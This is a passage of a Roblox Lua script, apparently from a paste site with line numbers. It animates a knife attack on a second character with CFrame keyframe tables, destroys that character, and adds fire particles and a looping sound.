  4176. CFrame.new(1.6600095, -2.38418579e-06, -4.63128478e-15, 0.987662673, -0.156602472, 1.49340781e-15, 0.156602204, 0.987670064, 4.79616347e-14, 5.55111512e-16, 2.13162821e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4177. CFrame.new(-1.54000187, -1.44541264e-06, 1.69182539e-13, 0.990279555, 0.13909173, 1.10008167e-13, -0.139091685, 0.990279555, 8.2600593e-14, -9.75886039e-14, -9.50350909e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4178. CFrame.new(0.499999404, -2.00002313, 6.14590166e-17, 0.997888803, -0.064946577, 1.11021297e-16, 0.0649465844, 0.997888744, 0, 1.66533454e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4179. CFrame.new(-0.500009298, -2.00002384, -8.40476912e-17, 0.998180985, 0.060290534, -5.55106748e-17, -0.0602905415, 0.998180926, 0, 2.22044605e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4180. }
  4181. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4182. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4183. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4184. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4185. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4186. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4187. moter.C0 = clerp(moter.C0, CFrame.new(0.0111932121, -1.63769805, -0.318755955, -0.0172044784, -1.3951445e-05, -0.999852121, 0.999852002, 3.55020165e-06, -0.0172044784, 3.78862023e-06, -1.00000012, 1.38879986e-05) * CFrame.new(0, 0, 0.25) * CFrame.Angles(math.rad(90), 0, 0), 0.3)
  4188. swait()
  4189. end
  4190.  
  4191. wait(1)
  4192. for i = 0, 1, .1 do
  4193. local speed = .3
  4194. local table = {
  4195. CFrame.new(-0, -0, -0, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4196. CFrame.new(7.62939453e-06, 1.50001144, 4.03896783e-28, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4197. CFrame.new(-0.289989859, -3.27825546e-07, -0.770015359, 0.282591939, 0.951313019, 0.123073883, -0.569866359, 0.269702584, -0.776217401, -0.771619499, 0.14921695, 0.618335962) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4198. CFrame.new(-1.54000187, -1.44541264e-06, 1.69182539e-13, 0.990279555, 0.13909173, 1.10008167e-13, -0.139091685, 0.990279555, 8.2600593e-14, -9.75886039e-14, -9.50350909e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4199. CFrame.new(0.499999404, -2.00002313, 6.14590166e-17, 0.997888803, -0.064946577, 1.11021297e-16, 0.0649465844, 0.997888744, 0, 1.66533454e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4200. CFrame.new(-0.500009298, -2.00002384, -8.40476912e-17, 0.998180985, 0.060290534, -5.55106748e-17, -0.0602905415, 0.998180926, 0, 2.22044605e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4201. }
  4202. swait()
  4203. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4204. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4205. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4206. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4207. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4208. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4209. moter.C0 = clerp(moter.C0, CFrame.new(0.0111932121, -1.63769805, -0.318755955, -0.0172044784, -1.3951445e-05, -0.999852121, 0.999852002, 3.55020165e-06, -0.0172044784, 3.78862023e-06, -1.00000012, 1.38879986e-05) * CFrame.new(0, 0, 0.25) * CFrame.Angles(math.rad(90), 0, 0), 0.3)
  4210. end
  4211.  
  4212. knifweld.Part1 = FCharacter['Right Arm']
  4213. knifweld.C0 = CFrame.new(1,1,0)*CFrame.Angles(0,math.rad(-90),0)
  4214. for i = 0,1,.1 do
  4215. local speed = .3
  4216. local table = {
  4217. CFrame.new(-0, -0, -0, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4218. CFrame.new(7.62939453e-06, 1.50001144, 4.03896783e-28, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4219. CFrame.new(1.6600095, -2.38418579e-06, -4.63128478e-15, 0.987662673, -0.156602472, 1.49340781e-15, 0.156602204, 0.987670064, 4.79616347e-14, 5.55111512e-16, 2.13162821e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4220. CFrame.new(-1.54000187, -1.44541264e-06, 1.69182539e-13, 0.990279555, 0.13909173, 1.10008167e-13, -0.139091685, 0.990279555, 8.2600593e-14, -9.75886039e-14, -9.50350909e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4221. CFrame.new(0.499999404, -2.00002313, 6.14590166e-17, 0.997888803, -0.064946577, 1.11021297e-16, 0.0649465844, 0.997888744, 0, 1.66533454e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4222. CFrame.new(-0.500009298, -2.00002384, -8.40476912e-17, 0.998180985, 0.060290534, -5.55106748e-17, -0.0602905415, 0.998180926, 0, 2.22044605e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4223. }
  4224. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4225. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4226. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4227. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4228. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4229. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4230. moter.C0 = clerp(moter.C0, CFrame.new(0.0111980997, -1.6377027, -0.318750381, -0.0172109306, 0, -0.999851882, 0.999851882, 0, -0.0172109306, 0, -1, 0) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), 0.3)
  4231. swait()
  4232. end
  4233.  
  4234. wait(1)
  4235. for i = 0, 1, 0.1 do
  4236. swait()
  4237. PlayAnimationFromTable({
  4238. CFrame.new(0, -2.24408007, -3.19489694, 1, 0, 0, 0, 0.452725112, 0.891650259, 0, -0.891650259, 0.452725112) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4239. CFrame.new(7.62939453e-06, 1.4999584, -3.81469818e-06, 1, 0, 0, 0, 1.00000024, 0, 0, 0, 1.00000024) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4240. CFrame.new(1.61997747, 0.704635978, -0.635224581, -0.825147271, -0.352566004, 0.441395015, 0.496845663, -0.0810818374, 0.864043713, -0.268842638, 0.932268381, 0.242075145) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4241. CFrame.new(-1.80998445, 0.192538664, -0.186033189, 0.494757533, 0.782224536, -0.378605217, -0.853971958, 0.518376589, -0.0449554324, 0.161094487, 0.345559716, 0.924467504) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4242. CFrame.new(0.819988847, -1.93866265, 0.717127383, 0.950523973, -0.310651302, 8.76989304e-07, 0.273218215, 0.835988283, 0.475894451, -0.147837952, -0.452348769, 0.879502594) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4243. CFrame.new(-0.659997702, -1.93866444, 0.717128515, 0.972906768, 0.231197968, 2.30545061e-06, -0.203340545, 0.855674803, 0.475892335, 0.110023372, -0.462999344, 0.879503667) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4244. }, .3, false)
  4245. end
  4246. wait(1)
  4247. for i = 0,1,.1 do
  4248. local speed = .3
  4249. local table = {
  4250. CFrame.new(-0, -0, -0, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4251. CFrame.new(7.62939453e-06, 1.50001144, 4.03896783e-28, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4252. CFrame.new(0.798612654, 0.382908493, -0.976742506, 0.486478955, 0.828752995, -0.276598603, 0.346117944, -0.473492295, -0.809942782, -0.802209854, 0.298284382, -0.517190278) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4253. CFrame.new(-1.54000938, 5.51342964e-07, 1.6918319e-13, 0.990279555, 0.13909173, 1.10008167e-13, -0.139091685, 0.990279555, 8.2600593e-14, -9.75886039e-14, -9.50350909e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4254. CFrame.new(0.499999404, -2.0000236, 6.14590166e-17, 0.997888803, -0.064946577, 1.11021297e-16, 0.0649465844, 0.997888744, 0, 1.66533454e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4255. CFrame.new(-0.500009298, -2.00002384, -8.40476912e-17, 0.998180985, 0.060290534, -5.55106748e-17, -0.0602905415, 0.998180926, 0, 2.22044605e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4256. }
  4257. end
  4258. coroutine.wrap(function()
  4259. for i = 1, 11,.1 do
  4260. sine = sine + 1
  4261. local speed = .3
  4262. FRootPart.CFrame = FRootPart.CFrame * CFrame.new(0,0,-.1)
  4263. local table = {
  4264. CFrame.new(0, 0, 0, 1, -2.21689355e-12, -5.11591203e-13, -2.21689355e-12, 1, 7.74860496e-07, -5.11591203e-13, 7.74860496e-07, 1.00000048) * CFrame.new(0, 0- .08 * math.cos((sine) / 5), 0) * CFrame.Angles(0, 0, 0),
  4265. CFrame.new(-0.0595112406, 1.55331731, -0.0425721854, 0.999631822, -0.0248252042, -0.010953242, 0.0262294486, 0.987443328, 0.155781403, 0.00694842171, -0.156010598, 0.987731278) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4266. CFrame.new(1.54809988, 0.041232653, 1.35168499e-08, 0.996376455, -0.0850530341, -3.41060513e-13, 0.0850530341, 0.996376455, 4.47034836e-07, 2.78823862e-08, 3.26637689e-07, 1.00000024) * CFrame.new(0, 0, 0- .5 * math.cos((sine) / 10)) * CFrame.Angles(math.rad(0 + 30 * math.cos((sine) / 10)), 0, 0),
  4267. CFrame.new(-1.53598976, 0.0413191095, -1.86092848e-06, 0.995650649, 0.0931596532, -2.61508148e-07, -0.0931649953, 0.995651186, -1.00695124e-05, -7.49969331e-07, 1.08217946e-05, 1.00000024) * CFrame.new(0, 0, 0+ .5 * math.cos((sine) / 10)) * CFrame.Angles(math.rad(0 - 30 * math.cos((sine) / 10)), 0, 0),
  4268. CFrame.new(0.540300786, -1.99793816, -9.82598067e-07, 0.998698533, -0.0510031395, 6.36324955e-07, 0.0510031395, 0.998698533, -1.00461093e-05, -8.35937328e-08, 1.08393433e-05, 1.00000024) * CFrame.new(0, 0, 0+ .5 * math.cos((sine) / 10)) * CFrame.Angles(math.rad(0 - 30 * math.cos((sine) / 10)), 0, 0),
  4269. CFrame.new(-0.539563596, -1.99794078, 1.12228372e-06, 0.998635888, 0.0523072146, -1.77852357e-07, -0.0523072146, 0.998635888, -1.00715051e-05, -3.89727461e-07, 1.08406466e-05, 1.00000024) * CFrame.new(0, 0, 0- .5 * math.cos((sine) / 10)) * CFrame.Angles(math.rad(0 + 30 * math.cos((sine) / 10)), 0, 0),
  4270. }
  4271. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4272. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4273. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4274. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4275. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4276. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4277. moter.C0 = clerp(moter.C0, CFrame.new(0.0111980997, -1.6377027, -0.318750381, -0.0172109306, 0, -0.999851882, 0.999851882, 0, -0.0172109306, 0, -1, 0) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), 0.3)
  4278. swait()
  4279. end
  4280. for i = 0,1,.1 do
  4281. local speed = .3
  4282. local table = {
  4283. CFrame.new(-0, -0, -0, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4284. CFrame.new(7.62939453e-06, 1.50001144, 4.03896783e-28, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4285. CFrame.new(1.6600095, -2.38418579e-06, -4.63128478e-15, 0.987662673, -0.156602472, 1.49340781e-15, 0.156602204, 0.987670064, 4.79616347e-14, 5.55111512e-16, 2.13162821e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4286. CFrame.new(-1.54000187, -1.44541264e-06, 1.69182539e-13, 0.990279555, 0.13909173, 1.10008167e-13, -0.139091685, 0.990279555, 8.2600593e-14, -9.75886039e-14, -9.50350909e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4287. CFrame.new(0.499999404, -2.00002313, 6.14590166e-17, 0.997888803, -0.064946577, 1.11021297e-16, 0.0649465844, 0.997888744, 0, 1.66533454e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4288. CFrame.new(-0.500009298, -2.00002384, -8.40476912e-17, 0.998180985, 0.060290534, -5.55106748e-17, -0.0602905415, 0.998180926, 0, 2.22044605e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4289. }
  4290. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4291. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4292. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4293. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4294. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4295. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4296. moter.C0 = clerp(moter.C0, CFrame.new(0.0111980997, -1.6377027, -0.318750381, -0.0172109306, 0, -0.999851882, 0.999851882, 0, -0.0172109306, 0, -1, 0) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), 0.3)
  4297. swait()
  4298. end
  4299. end)()
  4300. wait(3)
  4301. for i = 0, 1, 0.1 do
  4302. swait()
  4303. PlayAnimationFromTable({
  4304. CFrame.new(0, -1.61013091, -2.7208631, 1, 0, 0, 0, 0.784842849, 0.619694889, 0, -0.619694889, 0.784842849) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4305. CFrame.new(7.62939453e-06, 1.49995804, -3.81469727e-06, 1, 0, 0, 0, 1, 0, 0, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4306. CFrame.new(1.6199764, 0.0526405573, -0.633618712, -0.825147271, -0.352566004, 0.441395015, 0.338357478, 0.317245364, 0.885929346, -0.452378333, 0.880371392, -0.142481118) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4307. CFrame.new(-1.48999131, 0.159032702, -0.689792395, -0.925652206, 0.121316604, 0.35839963, 0.3763749, 0.392493248, 0.839220524, -0.038858071, 0.911718965, -0.40897283) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4308. CFrame.new(0.81999141, -1.66318786, 0.698954165, 0.950523973, -0.310651302, 8.76989304e-07, 0.186064735, 0.56931895, 0.800784588, -0.24876529, -0.761164725, 0.598952591) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4309. CFrame.new(-0.65999639, -1.66319084, 0.698958337, 0.972906768, 0.231197968, 2.30545061e-06, -0.138478845, 0.582726359, 0.800783157, 0.185138091, -0.779087663, 0.598954439) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4310. }, .3, false)
  4311. end
  4312.  
  4313. wait(2)
  4314. for i = 0,1,.1 do
  4315. local speed = .3
  4316. local table = {
  4317. CFrame.new(-0, -0, -0, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4318. CFrame.new(7.62939453e-06, 1.50001144, 4.03896783e-28, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4319. CFrame.new(0.798612654, 0.382908493, -0.976742506, 0.486478955, 0.828752995, -0.276598603, 0.346117944, -0.473492295, -0.809942782, -0.802209854, 0.298284382, -0.517190278) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4320. CFrame.new(-1.54000938, 5.51342964e-07, 1.6918319e-13, 0.990279555, 0.13909173, 1.10008167e-13, -0.139091685, 0.990279555, 8.2600593e-14, -9.75886039e-14, -9.50350909e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4321. CFrame.new(0.499999404, -2.0000236, 6.14590166e-17, 0.997888803, -0.064946577, 1.11021297e-16, 0.0649465844, 0.997888744, 0, 1.66533454e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4322. CFrame.new(-0.500009298, -2.00002384, -8.40476912e-17, 0.998180985, 0.060290534, -5.55106748e-17, -0.0602905415, 0.998180926, 0, 2.22044605e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4323. }
  4324. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4325. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4326. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4327. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4328. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4329. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4330. moter.C0 = clerp(moter.C0, CFrame.new(0.0111980997, -1.6377027, -0.318750381, -0.0172109306, 0, -0.999851882, 0.999851882, 0, -0.0172109306, 0, -1, 0) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), 0.3)
  4331. swait()
  4332. end
  4333. wait(0.5)
  4334. for i = 0,.7,.1 do
  4335. local speed = .3
  4336. local table = {
  4337. CFrame.new(-0, -0, -0, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4338. CFrame.new(7.62939453e-06, 1.50001144, 4.03896783e-28, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4339. CFrame.new(0.1415039, -0.250491381, -0.976747632, -0.180687964, 0.704339802, 0.686481893, 0.569043994, 0.644152701, -0.51113236, -0.802209973, 0.298282892, -0.517191052) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4340. CFrame.new(-1.54000938, 5.51342964e-07, 1.6918319e-13, 0.990279555, 0.13909173, 1.10008167e-13, -0.139091685, 0.990279555, 8.2600593e-14, -9.75886039e-14, -9.50350909e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4341. CFrame.new(0.499999404, -2.0000236, 6.14590166e-17, 0.997888803, -0.064946577, 1.11021297e-16, 0.0649465844, 0.997888744, 0, 1.66533454e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4342. CFrame.new(-0.500009298, -2.00002384, -8.40476912e-17, 0.998180985, 0.060290534, -5.55106748e-17, -0.0602905415, 0.998180926, 0, 2.22044605e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4343. }
  4344. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4345. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4346. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4347. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4348. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4349. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4350. moter.C0 = clerp(moter.C0, CFrame.new(0.0111932121, -1.63769805, -0.318755955, -0.0172044784, -1.3951445e-05, -0.999852121, 0.999852002, 3.55020165e-06, -0.0172044784, 3.78862023e-06, -1.00000012, 1.38879986e-05) * CFrame.new(0, 0, 0.25) * CFrame.Angles(math.rad(90), 0, 0), 0.3)
  4351. swait()
  4352. end
  4353. knife.Parent = Character
  4354. knifweld.Parent = Character
  4355. knifweld.Part0 = knife
  4356. knifweld.Part1 = Torso
  4357. knifweld.C0 = CFrame.new(-1,0,0)*CFrame.Angles(0,math.rad(90),0)
  4358. for i = 0, 1, 0.1 do
  4359. swait()
  4360. PlayAnimationFromTable({
  4361. CFrame.new(0, -2.53465056, -3.14089251, 1, 0, 0, 0, -0.026162995, 0.99965775, 0, -0.99965775, -0.026162995) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4362. CFrame.new(7.62939453e-06, 1.49996197, -5.48362777e-06, 1, 0, 0, 0, 1.00000012, 0, 0, 0, 1.00000012) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4363. CFrame.new(1.76997232, 0.969703615, 0.0185622945, -0.825149953, -0.564913094, 2.90976971e-07, 0.56491369, -0.825144649, -7.52694905e-06, 4.50573862e-06, -5.99585474e-06, 1.00000489) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4364. CFrame.new(-1.80998182, 0.310005337, -2.61630303e-05, 0.918722868, 0.394903064, 1.61788887e-06, -0.394903064, 0.918722928, -3.44775617e-06, -2.84798443e-06, 2.52947211e-06, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4365. CFrame.new(0.819993675, -1.99995661, -8.79401341e-06, 0.950523973, -0.310651302, 8.76989304e-07, 0.310651362, 0.950523973, -4.51132655e-06, 5.69038093e-07, 4.56348062e-06, 1.00000012) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4366. CFrame.new(-0.659999847, -1.99995279, -8.66005939e-06, 0.972906768, 0.231197968, 2.30545061e-06, -0.231197998, 0.972906768, -6.87874854e-06, -3.83378938e-06, 6.15976751e-06, 1.00000012) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4367. }, .3, false)
  4368. end
  4369. for i = 0,1,.1 do
  4370. local speed = .3
  4371. local table = {
  4372. CFrame.new(-0, -0, -0, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4373. CFrame.new(7.62939453e-06, 1.50001144, 4.03896783e-28, 1, 0, 5.29395592e-23, 0, 1, 0, 5.29395592e-23, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4374. CFrame.new(1.6600095, -2.38418579e-06, -4.63128478e-15, 0.987662673, -0.156602472, 1.49340781e-15, 0.156602204, 0.987670064, 4.79616347e-14, 5.55111512e-16, 2.13162821e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4375. CFrame.new(-1.54000187, -1.44541264e-06, 1.69182539e-13, 0.990279555, 0.13909173, 1.10008167e-13, -0.139091685, 0.990279555, 8.2600593e-14, -9.75886039e-14, -9.50350909e-14, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4376. CFrame.new(0.499999404, -2.00002313, 6.14590166e-17, 0.997888803, -0.064946577, 1.11021297e-16, 0.0649465844, 0.997888744, 0, 1.66533454e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4377. CFrame.new(-0.500009298, -2.00002384, -8.40476912e-17, 0.998180985, 0.060290534, -5.55106748e-17, -0.0602905415, 0.998180926, 0, 2.22044605e-16, 0, 1) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4378. }
  4379. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4380. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4381. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4382. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4383. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4384. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4385. moter.C0 = clerp(moter.C0, CFrame.new(0.0111932121, -1.63769805, -0.318755955, -0.0172044784, -1.3951445e-05, -0.999852121, 0.999852002, 3.55020165e-06, -0.0172044784, 3.78862023e-06, -1.00000012, 1.38879986e-05) * CFrame.new(0, 0, 0.25) * CFrame.Angles(math.rad(90), 0, 0), 0.3)
  4386. swait()
  4387. end
  4388. wait(1)
  4389. for i = 0,1,.1 do
  4390. local speed = .3
  4391. local table = {
  4392. CFrame.new(-1.13150174e-08, -0.233643144, -0.531754971, 1, 4.6356714e-08, 1.40138434e-08, -4.84286318e-08, 0.957217097, 0.289371043, -5.41235154e-16, -0.289371043, 0.957217097) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4393. CFrame.new(7.62939453e-06, 1.50000799, 0, 1, 0, 0, 0, 1.00000024, 0, 0, 0, 1.00000024) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4394. CFrame.new(1.52783501, 0.00880410615, -0.0600301139, 0.985311627, -0.17076619, 1.32775563e-06, 0.170766205, 0.985311747, -3.87430191e-07, -1.24797225e-06, 5.96046448e-07, 1.00000012) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4395. CFrame.new(-1.54000914, -4.91738319e-07, -7.69009716e-07, 0.990279853, 0.139089808, -5.03203808e-07, -0.139089808, 0.990279853, -2.68220901e-07, 4.58210707e-07, 3.27825546e-07, 1.00000024) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4396. CFrame.new(0.500001609, -2.00094748, 0.514751852, 0.997889757, -0.0544961505, -0.0353313722, 0.0621684566, 0.95890981, 0.276820749, 0.0187938847, -0.278432727, 0.96027267) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4397. CFrame.new(-0.499998927, -1.73762023, -0.356294215, 0.998180985, 0.0602904856, -5.96745882e-16, -0.0577110909, 0.955475867, -0.289371043, -0.0174463224, 0.288844645, 0.957217097) * CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0),
  4398. }
  4399. FRootJoint.C0 = clerp(FRootJoint.C0, table[1], speed)
  4400. FCharacter.Torso.Neck.C0 = clerp(FCharacter.Torso.Neck.C0, table[2], speed)
  4401. FRW.C0 = clerp(FRW.C0, table[3], speed)
  4402. FLW.C0 = clerp(FLW.C0, table[4], speed)
  4403. FRH.C0 = clerp(FRH.C0, table[5], speed)
  4404. FLH.C0 = clerp(FLH.C0, table[6], speed)
  4405. moter.C0 = clerp(moter.C0, CFrame.new(0.0111932121, -1.63769805, -0.318755955, -0.0172044784, -1.3951445e-05, -0.999852121, 0.999852002, 3.55020165e-06, -0.0172044784, 3.78862023e-06, -1.00000012, 1.38879986e-05) * CFrame.new(0, 0, 0.25) * CFrame.Angles(math.rad(90), 0, 0), 0.3)
  4406. swait()
  4407. end
  4408. wait(1)
  4409. coroutine.wrap(function()
  4410. FRootJoint.C0 = CFrame.new(0,0,0)
  4411. for i = 1, 500 do
  4412. FRootJoint.C0 = FRootJoint.C0 * CFrame.new(0,3,0)
  4413. swait()
  4414. end
  4415. end)()
  4416. wait(2)
  4417. FCharacter:destroy()
  4418. wait(2)
  4419. local Fire = Instance.new("Sound",Character.Torso)
  4420. Fire.SoundId = "rbxassetid://192104941"
  4421. Fire.Looped = true
  4422. Fire.Pitch = 1
  4423. Fire.Volume = 1
  4424. Fire.Name = "cackle cackle"
  4425. Fire:play()
  4426. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4427. fire.Lifetime = NumberRange.new(0.5)
  4428. fire.Speed = NumberRange.new(1, 3)
  4429. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4430. fire.Rate = 1000
  4431. fire.Name = "FireParticie"
  4432. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4433. fire.LightEmission = 0.6
  4434. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4435. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4436. wait(3)
  4437. for i = 0,4,.1 do
  4438. RootJoint.C0 = RootJoint.C0 * CFrame.new(0,0,-.1)
  4439. swait()
  4440. end
  4441. wait(5)
  4442. end
